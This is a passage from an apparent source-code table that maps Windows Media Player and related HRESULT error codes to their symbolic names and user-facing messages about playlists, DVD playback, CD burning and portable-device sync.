exist.\"),\n        0xC00D106F: (\"NS_E_WMX_ATTRIBUTE_ALREADY_EXISTS\", \"The specified attribute already exists.\"),\n        0xC00D1070: (\"NS_E_WMX_ATTRIBUTE_UNRETRIEVABLE\", \"Cannot retrieve the specified attribute.\"),\n        0xC00D1071: (\"NS_E_WMX_ITEM_DOES_NOT_EXIST\", \"The specified item does not exist in the current playlist.\"),\n        0xC00D1072: (\"NS_E_WMX_ITEM_TYPE_ILLEGAL\", \"Items of the specified type cannot be created within the current playlist.\"),\n        0xC00D1073: (\"NS_E_WMX_ITEM_UNSETTABLE\", \"The specified item cannot be set in the current playlist.\"),\n        0xC00D1074: (\"NS_E_WMX_PLAYLIST_EMPTY\", \"Windows Media Player cannot perform the requested action because the playlist does not contain any items.\"),\n        0xC00D1075: (\"NS_E_MLS_SMARTPLAYLIST_FILTER_NOT_REGISTERED\", \"The specified auto playlist contains a filter type that is either not valid or is not installed on this computer.\"),\n        0xC00D1076: (\"NS_E_WMX_INVALID_FORMAT_OVER_NESTING\", \"Windows Media Player cannot play the file because the associated playlist contains too many nested playlists.\"),\n        0xC00D107C: (\"NS_E_WMPCORE_NOSOURCEURLSTRING\", \"Windows Media Player cannot find the file. Verify that the path is typed correctly. If it is, the file might not exist in the specified location, or the computer where the file is stored might not be available.\"),\n        0xC00D107D: (\"NS_E_WMPCORE_COCREATEFAILEDFORGITOBJECT\", \"Failed to create the Global Interface Table.\"),\n        0xC00D107E: (\"NS_E_WMPCORE_FAILEDTOGETMARSHALLEDEVENTHANDLERINTERFACE\", \"Failed to get the marshaled graph event handler interface.\"),\n        0xC00D107F: (\"NS_E_WMPCORE_BUFFERTOOSMALL\", \"Buffer is too small for copying media type.\"),\n        0xC00D1080: (\"NS_E_WMPCORE_UNAVAILABLE\", \"The current state of the Player does not allow this operation.\"),\n        0xC00D1081: (\"NS_E_WMPCORE_INVALIDPLAYLISTMODE\", \"The playlist manager does not understand the current play mode (for example, shuffle or normal).\"),\n        0xC00D1086: (\"NS_E_WMPCORE_ITEMNOTINPLAYLIST\", \"Windows Media Player cannot play the file because it is not in the current playlist.\"),\n        0xC00D1087: (\"NS_E_WMPCORE_PLAYLISTEMPTY\", \"There are no items in the playlist. Add items to the playlist, and then try again.\"),\n        0xC00D1088: (\"NS_E_WMPCORE_NOBROWSER\", \"The web page cannot be displayed because no web browser is installed on your computer.\"),\n        0xC00D1089: (\"NS_E_WMPCORE_UNRECOGNIZED_MEDIA_URL\", \"Windows Media Player cannot find the specified file. Verify the path is typed correctly. If it is, the file does not exist in the specified location, or the computer where the file is stored is not available.\"),\n        0xC00D108A: (\"NS_E_WMPCORE_GRAPH_NOT_IN_LIST\", \"Graph with the specified URL was not found in the prerolled graph list.\"),\n        0xC00D108B: (\"NS_E_WMPCORE_PLAYLIST_EMPTY_OR_SINGLE_MEDIA\", \"Windows Media Player cannot perform the requested operation because there is only one item in the playlist.\"),\n        0xC00D108C: (\"NS_E_WMPCORE_ERRORSINKNOTREGISTERED\", \"An error sink was never registered for the calling object.\"),\n        0xC00D108D: (\"NS_E_WMPCORE_ERRORMANAGERNOTAVAILABLE\", \"The error manager is not available to respond to errors.\"),\n        0xC00D108E: (\"NS_E_WMPCORE_WEBHELPFAILED\", \"The Web Help URL cannot be opened.\"),\n        0xC00D108F: (\"NS_E_WMPCORE_MEDIA_ERROR_RESUME_FAILED\", \"Could not resume playing next item in playlist.\"),\n        0xC00D1090: (\"NS_E_WMPCORE_NO_REF_IN_ENTRY\", \"Windows Media Player cannot play the file because the associated playlist does not contain any items or the playlist is not valid.\"),\n        0xC00D1091: (\"NS_E_WMPCORE_WMX_LIST_ATTRIBUTE_NAME_EMPTY\", \"An empty string for playlist attribute name was found.\"),\n        0xC00D1092: (\"NS_E_WMPCORE_WMX_LIST_ATTRIBUTE_NAME_ILLEGAL\", \"A playlist attribute name that is not valid was found.\"),\n        0xC00D1093: (\"NS_E_WMPCORE_WMX_LIST_ATTRIBUTE_VALUE_EMPTY\", \"An empty string for a playlist attribute value was found.\"),\n        0xC00D1094: (\"NS_E_WMPCORE_WMX_LIST_ATTRIBUTE_VALUE_ILLEGAL\", \"An illegal value for a playlist attribute was found.\"),\n        0xC00D1095: (\"NS_E_WMPCORE_WMX_LIST_ITEM_ATTRIBUTE_NAME_EMPTY\", \"An empty string for a playlist item attribute name was found.\"),\n        0xC00D1096: (\"NS_E_WMPCORE_WMX_LIST_ITEM_ATTRIBUTE_NAME_ILLEGAL\", \"An illegal value for a playlist item attribute name was found.\"),\n        0xC00D1097: (\"NS_E_WMPCORE_WMX_LIST_ITEM_ATTRIBUTE_VALUE_EMPTY\", \"An illegal value for a playlist item attribute was found.\"),\n        0xC00D1098: (\"NS_E_WMPCORE_LIST_ENTRY_NO_REF\", \"The playlist does not contain any items.\"),\n        0xC00D1099: (\"NS_E_WMPCORE_MISNAMED_FILE\", \"Windows Media Player cannot play the file. The file is either corrupted or the Player does not support the format you are trying to play.\"),\n        0xC00D109A: (\"NS_E_WMPCORE_CODEC_NOT_TRUSTED\", \"The codec downloaded for this file does not appear to be properly signed, so it cannot be installed.\"),\n        0xC00D109B: (\"NS_E_WMPCORE_CODEC_NOT_FOUND\", \"Windows Media Player cannot play the file. One or more codecs required to play the file could not be found.\"),\n        0xC00D109C: (\"NS_E_WMPCORE_CODEC_DOWNLOAD_NOT_ALLOWED\", \"Windows Media Player cannot play the file because a required codec is not installed on your computer. To try downloading the codec, turn on the \\\"Download codecs automatically\\\" option.\"),\n        0xC00D109D: (\"NS_E_WMPCORE_ERROR_DOWNLOADING_PLAYLIST\", \"Windows Media Player encountered a problem while downloading the playlist. For additional assistance, click Web Help.\"),\n        0xC00D109E: (\"NS_E_WMPCORE_FAILED_TO_BUILD_PLAYLIST\", \"Failed to build the playlist.\"),\n        0xC00D109F: (\"NS_E_WMPCORE_PLAYLIST_ITEM_ALTERNATE_NONE\", \"Playlist has no alternates to switch into.\"),\n        0xC00D10A0: (\"NS_E_WMPCORE_PLAYLIST_ITEM_ALTERNATE_EXHAUSTED\", \"No more playlist alternates available to switch to.\"),\n        0xC00D10A1: (\"NS_E_WMPCORE_PLAYLIST_ITEM_ALTERNATE_NAME_NOT_FOUND\", \"Could not find the name of the alternate playlist to switch into.\"),\n        0xC00D10A2: (\"NS_E_WMPCORE_PLAYLIST_ITEM_ALTERNATE_MORPH_FAILED\", \"Failed to switch to an alternate for this media.\"),\n        0xC00D10A3: (\"NS_E_WMPCORE_PLAYLIST_ITEM_ALTERNATE_INIT_FAILED\", \"Failed to initialize an alternate for the media.\"),\n        0xC00D10A4: (\"NS_E_WMPCORE_MEDIA_ALTERNATE_REF_EMPTY\", \"No URL specified for the roll over Refs in the playlist file.\"),\n        0xC00D10A5: (\"NS_E_WMPCORE_PLAYLIST_NO_EVENT_NAME\", \"Encountered a playlist with no name.\"),\n        0xC00D10A6: (\"NS_E_WMPCORE_PLAYLIST_EVENT_ATTRIBUTE_ABSENT\", \"A required attribute in the event block of the playlist was not found.\"),\n        0xC00D10A7: (\"NS_E_WMPCORE_PLAYLIST_EVENT_EMPTY\", \"No items were found in the event block of the playlist.\"),\n        0xC00D10A8: (\"NS_E_WMPCORE_PLAYLIST_STACK_EMPTY\", \"No playlist was found while returning from a nested playlist.\"),\n        0xC00D10A9: (\"NS_E_WMPCORE_CURRENT_MEDIA_NOT_ACTIVE\", \"The media item is not active currently.\"),\n        0xC00D10AB: (\"NS_E_WMPCORE_USER_CANCEL\", \"Windows Media Player cannot perform the requested action because you chose to cancel it.\"),\n        0xC00D10AC: (\"NS_E_WMPCORE_PLAYLIST_REPEAT_EMPTY\", \"Windows Media Player encountered a problem with the playlist. The format of the playlist is not valid.\"),\n        0xC00D10AD: (\"NS_E_WMPCORE_PLAYLIST_REPEAT_START_MEDIA_NONE\", \"Media object corresponding to start of a playlist repeat block was not found.\"),\n        0xC00D10AE: (\"NS_E_WMPCORE_PLAYLIST_REPEAT_END_MEDIA_NONE\", \"Media object corresponding to the end of a playlist repeat block was not found.\"),\n        0xC00D10AF: (\"NS_E_WMPCORE_INVALID_PLAYLIST_URL\", \"The playlist URL supplied to the playlist manager is not valid.\"),\n        0xC00D10B0: (\"NS_E_WMPCORE_MISMATCHED_RUNTIME\", \"Windows Media Player cannot play the file because it is corrupted.\"),\n        0xC00D10B1: (\"NS_E_WMPCORE_PLAYLIST_IMPORT_FAILED_NO_ITEMS\", \"Windows Media Player cannot add the playlist to the library because the playlist does not contain any items.\"),\n        0xC00D10B2: (\"NS_E_WMPCORE_VIDEO_TRANSFORM_FILTER_INSERTION\", \"An error has occurred that could prevent the changing of the video contrast on this media.\"),\n        0xC00D10B3: (\"NS_E_WMPCORE_MEDIA_UNAVAILABLE\", \"Windows Media Player cannot play the file. If the file is located on the Internet, connect to the Internet. If the file is located on a removable storage card, insert the storage card.\"),\n        0xC00D10B4: (\"NS_E_WMPCORE_WMX_ENTRYREF_NO_REF\", \"The playlist contains an ENTRYREF for which no href was parsed. Check the syntax of playlist file.\"),\n        0xC00D10B5: (\"NS_E_WMPCORE_NO_PLAYABLE_MEDIA_IN_PLAYLIST\", \"Windows Media Player cannot play any items in the playlist. To find information about the problem, click the Now Playing tab, and then click the icon next to each file in the List pane.\"),\n        0xC00D10B6: (\"NS_E_WMPCORE_PLAYLIST_EMPTY_NESTED_PLAYLIST_SKIPPED_ITEMS\", \"Windows Media Player cannot play some or all of the items in the playlist because the playlist is nested.\"),\n        0xC00D10B7: (\"NS_E_WMPCORE_BUSY\", \"Windows Media Player cannot play the file at this time. Try again later.\"),\n        0xC00D10B8: (\"NS_E_WMPCORE_MEDIA_CHILD_PLAYLIST_UNAVAILABLE\", \"There is no child playlist available for this media item at this time.\"),\n        0xC00D10B9: (\"NS_E_WMPCORE_MEDIA_NO_CHILD_PLAYLIST\", \"There is no child playlist for this media item.\"),\n        0xC00D10BA: (\"NS_E_WMPCORE_FILE_NOT_FOUND\", \"Windows Media Player cannot find the file. The link from the item in the library to its associated digital media file might be broken. To fix the problem, try repairing the link or removing the item from the library.\"),\n        0xC00D10BB: (\"NS_E_WMPCORE_TEMP_FILE_NOT_FOUND\", \"The temporary file was not found.\"),\n        0xC00D10BC: (\"NS_E_WMDM_REVOKED\", \"Windows Media Player cannot sync the file because the device needs to be updated.\"),\n        0xC00D10BD: (\"NS_E_DDRAW_GENERIC\", \"Windows Media Player cannot play the video because there is a problem with your video card.\"),\n        0xC00D10BE: (\"NS_E_DISPLAY_MODE_CHANGE_FAILED\", \"Windows Media Player failed to change the screen mode for full-screen video playback.\"),\n        0xC00D10BF: (\"NS_E_PLAYLIST_CONTAINS_ERRORS\", \"Windows Media Player cannot play one or more files. For additional information, right-click an item that cannot be played, and then click Error Details.\"),\n        0xC00D10C0: (\"NS_E_CHANGING_PROXY_NAME\", \"Cannot change the proxy name if the proxy setting is not set to custom.\"),\n        0xC00D10C1: (\"NS_E_CHANGING_PROXY_PORT\", \"Cannot change the proxy port if the proxy setting is not set to custom.\"),\n        0xC00D10C2: (\"NS_E_CHANGING_PROXY_EXCEPTIONLIST\", \"Cannot change the proxy exception list if the proxy setting is not set to custom.\"),\n        0xC00D10C3: (\"NS_E_CHANGING_PROXYBYPASS\", \"Cannot change the proxy bypass flag if the proxy setting is not set to custom.\"),\n        0xC00D10C4: (\"NS_E_CHANGING_PROXY_PROTOCOL_NOT_FOUND\", \"Cannot find the specified protocol.\"),\n        0xC00D10C5: (\"NS_E_GRAPH_NOAUDIOLANGUAGE\", \"Cannot change the language settings. Either the graph has no audio or the audio only supports one language.\"),\n        0xC00D10C6: (\"NS_E_GRAPH_NOAUDIOLANGUAGESELECTED\", \"The graph has no audio language selected.\"),\n        0xC00D10C7: (\"NS_E_CORECD_NOTAMEDIACD\", \"This is not a media CD.\"),\n        0xC00D10C8: (\"NS_E_WMPCORE_MEDIA_URL_TOO_LONG\", \"Windows Media Player cannot play the file because the URL is too long.\"),\n        0xC00D10C9: (\"NS_E_WMPFLASH_CANT_FIND_COM_SERVER\", \"To play the selected item, you must install the Macromedia Flash Player. To download the Macromedia Flash Player, go to the Adobe website.\"),\n        0xC00D10CA: (\"NS_E_WMPFLASH_INCOMPATIBLEVERSION\", \"To play the selected item, you must install a later version of the Macromedia Flash Player. To download the Macromedia Flash Player, go to the Adobe website.\"),\n        0xC00D10CB: (\"NS_E_WMPOCXGRAPH_IE_DISALLOWS_ACTIVEX_CONTROLS\", \"Windows Media Player cannot play the file because your Internet security settings prohibit the use of ActiveX controls.\"),\n        0xC00D10CC: (\"NS_E_NEED_CORE_REFERENCE\", \"The use of this method requires an existing reference to the Player object.\"),\n        0xC00D10CD: (\"NS_E_MEDIACD_READ_ERROR\", \"Windows Media Player cannot play the CD. The disc might be dirty or damaged.\"),\n        0xC00D10CE: (\"NS_E_IE_DISALLOWS_ACTIVEX_CONTROLS\", \"Windows Media Player cannot play the file because your Internet security settings prohibit the use of ActiveX controls.\"),\n        0xC00D10CF: (\"NS_E_FLASH_PLAYBACK_NOT_ALLOWED\", \"Flash playback has been turned off in Windows Media Player.\"),\n        0xC00D10D0: (\"NS_E_UNABLE_TO_CREATE_RIP_LOCATION\", \"Windows Media Player cannot rip the CD because a valid rip location cannot be created.\"),\n        0xC00D10D1: (\"NS_E_WMPCORE_SOME_CODECS_MISSING\", \"Windows Media Player cannot play the file because a required codec is not installed on your computer.\"),\n        0xC00D10D2: (\"NS_E_WMP_RIP_FAILED\", \"Windows Media Player cannot rip one or more tracks from the CD.\"),\n        0xC00D10D3: (\"NS_E_WMP_FAILED_TO_RIP_TRACK\", \"Windows Media Player encountered a problem while ripping the track from the CD. For additional assistance, click Web Help.\"),\n        0xC00D10D4: (\"NS_E_WMP_ERASE_FAILED\", \"Windows Media Player encountered a problem while erasing the disc. For additional assistance, click Web Help.\"),\n        0xC00D10D5: (\"NS_E_WMP_FORMAT_FAILED\", \"Windows Media Player encountered a problem while formatting the device. For additional assistance, click Web Help.\"),\n        0xC00D10D6: (\"NS_E_WMP_CANNOT_BURN_NON_LOCAL_FILE\", \"This file cannot be burned to a CD because it is not located on your computer.\"),\n        0xC00D10D7: (\"NS_E_WMP_FILE_TYPE_CANNOT_BURN_TO_AUDIO_CD\", \"It is not possible to burn this file type to an audio CD. Windows Media Player can burn the following file types to an audio CD: WMA, MP3, or WAV.\"),\n        0xC00D10D8: (\"NS_E_WMP_FILE_DOES_NOT_FIT_ON_CD\", \"This file is too large to fit on a disc.\"),\n        0xC00D10D9: (\"NS_E_WMP_FILE_NO_DURATION\", \"It is not possible to determine if this file can fit on a disc because Windows Media Player cannot detect the length of the file. Playing the file before burning may enable the Player to detect the file length.\"),\n        0xC00D10DA: (\"NS_E_PDA_FAILED_TO_BURN\", \"Windows Media Player encountered a problem while burning the file to the disc. For additional assistance, click Web Help.\"),\n        0xC00D10DC: (\"NS_E_FAILED_DOWNLOAD_ABORT_BURN\", \"Windows Media Player cannot burn the audio CD because some items in the list that you chose to buy could not be downloaded from the online store.\"),\n        0xC00D10DD: (\"NS_E_WMPCORE_DEVICE_DRIVERS_MISSING\", \"Windows Media Player cannot play the file. Try using Windows Update or Device Manager to update the device drivers for your audio and video cards. For information about using Windows Update or Device Manager, see Windows Help.\"),\n        0xC00D1126: (\"NS_E_WMPIM_USEROFFLINE\", \"Windows Media Player has detected that you are not connected to the Internet. Connect to the Internet, and then try again.\"),\n        0xC00D1127: (\"NS_E_WMPIM_USERCANCELED\", \"The attempt to connect to the Internet was canceled.\"),\n        0xC00D1128: (\"NS_E_WMPIM_DIALUPFAILED\", \"The attempt to connect to the Internet failed.\"),\n        0xC00D1129: (\"NS_E_WINSOCK_ERROR_STRING\", \"Windows Media Player has encountered an unknown network error.\"),\n        0xC00D1130: (\"NS_E_WMPBR_NOLISTENER\", \"No window is currently listening to Backup and Restore events.\"),\n        0xC00D1131: (\"NS_E_WMPBR_BACKUPCANCEL\", \"Your media usage rights were not backed up because the backup was canceled.\"),\n        0xC00D1132: (\"NS_E_WMPBR_RESTORECANCEL\", \"Your media usage rights were not restored because the restoration was canceled.\"),\n        0xC00D1133: (\"NS_E_WMPBR_ERRORWITHURL\", \"An error occurred while backing up or restoring your media usage rights. A required web page cannot be displayed.\"),\n        0xC00D1134: (\"NS_E_WMPBR_NAMECOLLISION\", \"Your media usage rights were not backed up because the backup was canceled.\"),\n        0xC00D1137: (\"NS_E_WMPBR_DRIVE_INVALID\", \"Windows Media Player cannot restore your media usage rights from the specified location. Choose another location, and then try again.\"),\n        0xC00D1138: (\"NS_E_WMPBR_BACKUPRESTOREFAILED\", \"Windows Media Player cannot backup or restore your media usage rights.\"),\n        0xC00D1158: (\"NS_E_WMP_CONVERT_FILE_FAILED\", \"Windows Media Player cannot add the file to the library.\"),\n        0xC00D1159: (\"NS_E_WMP_CONVERT_NO_RIGHTS_ERRORURL\", \"Windows Media Player cannot add the file to the library because the content provider prohibits it. For assistance, contact the company that provided the file.\"),\n        0xC00D115A: (\"NS_E_WMP_CONVERT_NO_RIGHTS_NOERRORURL\", \"Windows Media Player cannot add the file to the library because the content provider prohibits it. For assistance, contact the company that provided the file.\"),\n        0xC00D115B: (\"NS_E_WMP_CONVERT_FILE_CORRUPT\", \"Windows Media Player cannot add the file to the library. The file might not be valid.\"),\n        0xC00D115C: (\"NS_E_WMP_CONVERT_PLUGIN_UNAVAILABLE_ERRORURL\", \"Windows Media Player cannot add the file to the library. The plug-in required to add the file is not installed properly. For assistance, click Web Help to display the website of the company that provided the file.\"),\n        0xC00D115D: (\"NS_E_WMP_CONVERT_PLUGIN_UNAVAILABLE_NOERRORURL\", \"Windows Media Player cannot add the file to the library. The plug-in required to add the file is not installed properly. For assistance, contact the company that provided the file.\"),\n        0xC00D115E: (\"NS_E_WMP_CONVERT_PLUGIN_UNKNOWN_FILE_OWNER\", \"Windows Media Player cannot add the file to the library. The plug-in required to add the file is not installed properly. For assistance, contact the company that provided the file.\"),\n        0xC00D1160: (\"NS_E_DVD_DISC_COPY_PROTECT_OUTPUT_NS\", \"Windows Media Player cannot play this DVD. Try installing an updated driver for your video card or obtaining a newer video card.\"),\n        0xC00D1161: (\"NS_E_DVD_DISC_COPY_PROTECT_OUTPUT_FAILED\", \"This DVD's resolution exceeds the maximum allowed by your component video outputs. Try reducing your screen resolution to 640 x 480, or turn off analog component outputs and use a VGA connection to your monitor.\"),\n        0xC00D1162: (\"NS_E_DVD_NO_SUBPICTURE_STREAM\", \"Windows Media Player cannot display subtitles or highlights in DVD menus. Reinstall the DVD decoder or contact the DVD drive manufacturer to obtain an updated decoder.\"),\n        0xC00D1163: (\"NS_E_DVD_COPY_PROTECT\", \"Windows Media Player cannot play this DVD because there is a problem with digital copy protection between your DVD drive, decoder, and video card. Try installing an updated driver for your video card.\"),\n        0xC00D1164: (\"NS_E_DVD_AUTHORING_PROBLEM\", \"Windows Media Player cannot play the DVD. The disc was created in a manner that the Player does not support.\"),\n        0xC00D1165: (\"NS_E_DVD_INVALID_DISC_REGION\", \"Windows Media Player cannot play the DVD because the disc prohibits playback in your region of the world. You must obtain a disc that is intended for your geographic region.\"),\n        0xC00D1166: (\"NS_E_DVD_COMPATIBLE_VIDEO_CARD\", \"Windows Media Player cannot play the DVD because your video card does not support DVD playback.\"),\n        0xC00D1167: (\"NS_E_DVD_MACROVISION\", \"Windows Media Player cannot play this DVD because it is not possible to turn on analog copy protection on the output display. Try installing an updated driver for your video card.\"),\n        0xC00D1168: (\"NS_E_DVD_SYSTEM_DECODER_REGION\", \"Windows Media Player cannot play the DVD because the region assigned to your DVD drive does not match the region assigned to your DVD decoder.\"),\n        0xC00D1169: (\"NS_E_DVD_DISC_DECODER_REGION\", \"Windows Media Player cannot play the DVD because the disc prohibits playback in your region of the world. You must obtain a disc that is intended for your geographic region.\"),\n        0xC00D116A: (\"NS_E_DVD_NO_VIDEO_STREAM\", \"Windows Media Player cannot play DVD video. You might need to adjust your Windows display settings. Open display settings in Control Panel, and then try lowering your screen resolution and color quality settings.\"),\n        0xC00D116B: (\"NS_E_DVD_NO_AUDIO_STREAM\", \"Windows Media Player cannot play DVD audio. Verify that your sound card is set up correctly, and then try again.\"),\n        0xC00D116C: (\"NS_E_DVD_GRAPH_BUILDING\", \"Windows Media Player cannot play DVD video. Close any open files and quit any other programs, and then try again. If the problem persists, restart your computer.\"),\n        0xC00D116D: (\"NS_E_DVD_NO_DECODER\", \"Windows Media Player cannot play the DVD because a compatible DVD decoder is not installed on your computer.\"),\n        0xC00D116E: (\"NS_E_DVD_PARENTAL\", \"Windows Media Player cannot play the scene because it has a parental rating higher than the rating that you are authorized to view.\"),\n        0xC00D116F: (\"NS_E_DVD_CANNOT_JUMP\", \"Windows Media Player cannot skip to the requested location on the DVD.\"),\n        0xC00D1170: (\"NS_E_DVD_DEVICE_CONTENTION\", \"Windows Media Player cannot play the DVD because it is currently in use by another program. Quit the other program that is using the DVD, and then try again.\"),\n        0xC00D1171: (\"NS_E_DVD_NO_VIDEO_MEMORY\", \"Windows Media Player cannot play DVD video. You might need to adjust your Windows display settings. Open display settings in Control Panel, and then try lowering your screen resolution and color quality settings.\"),\n        0xC00D1172: (\"NS_E_DVD_CANNOT_COPY_PROTECTED\", \"Windows Media Player cannot rip the DVD because it is copy protected.\"),\n        0xC00D1173: (\"NS_E_DVD_REQUIRED_PROPERTY_NOT_SET\", \"One of more of the required properties has not been set.\"),\n        0xC00D1174: (\"NS_E_DVD_INVALID_TITLE_CHAPTER\", \"The specified title and/or chapter number does not exist on this DVD.\"),\n        0xC00D1176: (\"NS_E_NO_CD_BURNER\", \"Windows Media Player cannot burn the files because the Player cannot find a burner. If the burner is connected properly, try using Windows Update to install the latest device driver.\"),\n        0xC00D1177: (\"NS_E_DEVICE_IS_NOT_READY\", \"Windows Media Player does not detect storage media in the selected device. Insert storage media into the device, and then try again.\"),\n        0xC00D1178: (\"NS_E_PDA_UNSUPPORTED_FORMAT\", \"Windows Media Player cannot sync this file. The Player might not support the file type.\"),\n        0xC00D1179: (\"NS_E_NO_PDA\", \"Windows Media Player does not detect a portable device. Connect your portable device, and then try again.\"),\n        0xC00D117A: (\"NS_E_PDA_UNSPECIFIED_ERROR\", \"Windows Media Player encountered an error while communicating with the device. The storage card on the device might be full, the device might be turned off, or the device might not allow playlists or folders to be created on it.\"),\n        0xC00D117B: (\"NS_E_MEMSTORAGE_BAD_DATA\", \"Windows Media Player encountered an error while burning a CD.\"),\n        0xC00D117C: (\"NS_E_PDA_FAIL_SELECT_DEVICE\", \"Windows Media Player encountered an error while communicating with a portable device or CD drive.\"),\n        0xC00D117D: (\"NS_E_PDA_FAIL_READ_WAVE_FILE\", \"Windows Media Player cannot open the WAV file.\"),\n        0xC00D117E: (\"NS_E_IMAPI_LOSSOFSTREAMING\", \"Windows Media Player failed to burn all the files to the CD. Select a slower recording speed, and then try again.\"),\n        0xC00D117F: (\"NS_E_PDA_DEVICE_FULL\", \"There is not enough storage space on the portable device to complete this operation. Delete some unneeded files on the portable device, and then try again.\"),\n        0xC00D1180: (\"NS_E_FAIL_LAUNCH_ROXIO_PLUGIN\", \"Windows Media Player cannot burn the files. Verify that your burner is connected properly, and then try again. If the problem persists, reinstall the Player.\"),\n        0xC00D1181: (\"NS_E_PDA_DEVICE_FULL_IN_SESSION\", \"Windows Media Player did not sync some files to the device because there is not enough storage space on the device.\"),\n        0xC00D1182: (\"NS_E_IMAPI_MEDIUM_INVALIDTYPE\", \"The disc in the burner is not valid. Insert a blank disc into the burner, and then try again.\"),\n        0xC00D1183: (\"NS_E_PDA_MANUALDEVICE\", \"Windows Media Player cannot perform the requested action because the device does not support sync.\"),\n        0xC00D1184: (\"NS_E_PDA_PARTNERSHIPNOTEXIST\", \"To perform the requested action, you must first set up sync with the device.\"),\n        0xC00D1185: (\"NS_E_PDA_CANNOT_CREATE_ADDITIONAL_SYNC_RELATIONSHIP\", \"You have already created sync partnerships with 16 devices. To create a new sync partnership, you must first end an existing partnership.\"),\n        0xC00D1186: (\"NS_E_PDA_NO_TRANSCODE_OF_DRM\", \"Windows Media Player cannot sync the file because protected files cannot be converted to the required quality level or file format.\"),\n        0xC00D1187: (\"NS_E_PDA_TRANSCODECACHEFULL\", \"The folder that stores converted files is full. Either empty the folder or increase its size, and then try again.\"),\n        0xC00D1188: (\"NS_E_PDA_TOO_MANY_FILE_COLLISIONS\", \"There are too many files with the same name in the folder on the device. Change the file name or sync to a different folder.\"),\n        0xC00D1189: (\"NS_E_PDA_CANNOT_TRANSCODE\", \"Windows Media Player cannot convert the file to the format required by the device.\"),\n        0xC00D118A: (\"NS_E_PDA_TOO_MANY_FILES_IN_DIRECTORY\", \"You have reached the maximum number of files your device allows in a folder. If your device supports playback from subfolders, try creating subfolders on the device and storing some files in them.\"),\n        0xC00D118B: (\"NS_E_PROCESSINGSHOWSYNCWIZARD\", \"Windows Media Player is already trying to start the Device Setup Wizard.\"),\n        0xC00D118C: (\"NS_E_PDA_TRANSCODE_NOT_PERMITTED\", \"Windows Media Player cannot convert this file format. If an updated version of the codec used to compress this file is available, install it and then try to sync the file again.\"),\n        0xC00D118D: (\"NS_E_PDA_INITIALIZINGDEVICES\", \"Windows Media Player is busy setting up devices. Try again later.\"),\n        0xC00D118E: (\"NS_E_PDA_OBSOLETE_SP\", \"Your device is using an outdated driver that is no longer supported by Windows Media Player. For additional assistance, click Web Help.\"),\n        0xC00D118F: (\"NS_E_PDA_TITLE_COLLISION\", \"Windows Media Player cannot sync the file because a file with the same name already exists on the device. Change the file name or try to sync the file to a different folder.\"),\n        0xC00D1190: (\"NS_E_PDA_DEVICESUPPORTDISABLED\", \"Automatic and manual sync have been turned off temporarily. To sync to a device, restart Windows Media Player.\"),\n        0xC00D1191: (\"NS_E_PDA_NO_LONGER_AVAILABLE\", \"This device is not available. Connect the device to the computer, and then try again.\"),\n        0xC00D1192: (\"NS_E_PDA_ENCODER_NOT_RESPONDING\", \"Windows Media Player cannot sync the file because an error occurred while converting the file to another quality level or format. If the problem persists, remove the file from the list of files to sync.\"),\n        0xC00D1193: (\"NS_E_PDA_CANNOT_SYNC_FROM_LOCATION\", \"Windows Media Player cannot sync the file to your device. The file might be stored in a location that is not supported. Copy the file from its current location to your hard disk, add it to your library, and then try to sync the file again.\"),\n        0xC00D1194: (\"NS_E_WMP_PROTOCOL_PROBLEM\", \"Windows Media Player cannot open the specified URL. Verify that the Player is configured to use all available protocols, and then try again.\"),\n        0xC00D1195: (\"NS_E_WMP_NO_DISK_SPACE\", \"Windows Media Player cannot perform the requested action because there is not enough storage space on your computer. Delete some unneeded files on your hard disk, and then try again.\"),\n        0xC00D1196: (\"NS_E_WMP_LOGON_FAILURE\", \"The server denied access to the file. Verify that you are using the correct user name and password.\"),\n        0xC00D1197: (\"NS_E_WMP_CANNOT_FIND_FILE\", \"Windows Media Player cannot find the file. If you are trying to play, burn, or sync an item that is in your library, the item might point to a file that has been moved, renamed, or deleted.\"),\n        0xC00D1198: (\"NS_E_WMP_SERVER_INACCESSIBLE\", \"Windows Media Player cannot connect to the server. The server name might not be correct, the server might not be available, or your proxy settings might not be correct.\"),\n        0xC00D1199: (\"NS_E_WMP_UNSUPPORTED_FORMAT\", \"Windows Media Player cannot play the file. The Player might not support the file type or might not support the codec that was used to compress the file.\"),\n        0xC00D119A: (\"NS_E_WMP_DSHOW_UNSUPPORTED_FORMAT\", \"Windows Media Player cannot play the file. The Player might not support the file type or a required codec might not be installed on your computer.\"),\n        0xC00D119B: (\"NS_E_WMP_PLAYLIST_EXISTS\", \"Windows Media Player cannot create the playlist because the name already exists. Type a different playlist name.\"),\n        0xC00D119C: (\"NS_E_WMP_NONMEDIA_FILES\", \"Windows Media Player cannot delete the playlist because it contains items that are not digital media files. Any digital media files in the playlist were deleted.\"),\n        0xC00D119D: (\"NS_E_WMP_INVALID_ASX\", \"The playlist cannot be opened because it is stored in a shared folder on another computer. If possible, move the playlist to the playlists folder on your computer.\"),\n        0xC00D119E: (\"NS_E_WMP_ALREADY_IN_USE\", \"Windows Media Player is already in use. Stop playing any items, close all Player dialog boxes, and then try again.\"),\n        0xC00D119F: (\"NS_E_WMP_IMAPI_FAILURE\", \"Windows Media Player encountered an error while burning. Verify that the burner is connected properly and that the disc is clean and not damaged.\"),\n        0xC00D11A0: (\"NS_E_WMP_WMDM_FAILURE\", \"Windows Media Player has encountered an unknown error with your portable device. Reconnect your portable device, and then try again.\"),\n        0xC00D11A1: (\"NS_E_WMP_CODEC_NEEDED_WITH_4CC\", \"A codec is required to play this file. To determine if this codec is available to download from the web, click Web Help.\"),\n        0xC00D11A2: (\"NS_E_WMP_CODEC_NEEDED_WITH_FORMATTAG\", \"An audio codec is needed to play this file. To determine if this codec is available to download from the web, click Web Help.\"),\n        0xC00D11A3: (\"NS_E_WMP_MSSAP_NOT_AVAILABLE\", \"To play the file, you must install the latest Windows service pack. To install the service pack from the Windows Update website, click Web Help.\"),\n        0xC00D11A4: (\"NS_E_WMP_WMDM_INTERFACEDEAD\", \"Windows Media Player no longer detects a portable device. Reconnect your portable device, and then try again.\"),\n        0xC00D11A5: (\"NS_E_WMP_WMDM_NOTCERTIFIED\", \"Windows Media Player cannot sync the file because the portable device does not support protected files.\"),\n        0xC00D11A6: (\"NS_E_WMP_WMDM_LICENSE_NOTEXIST\", \"This file does not have sync rights. If you obtained this file from an online store, go to the online store to get sync rights.\"),\n        0xC00D11A7: (\"NS_E_WMP_WMDM_LICENSE_EXPIRED\", \"Windows Media Player cannot sync the file because the sync rights have expired. Go to the content provider's online store to get new sync rights.\"),\n        0xC00D11A8: (\"NS_E_WMP_WMDM_BUSY\", \"The portable device is already in use. Wait until the current task finishes or quit other programs that might be using the portable device, and then try 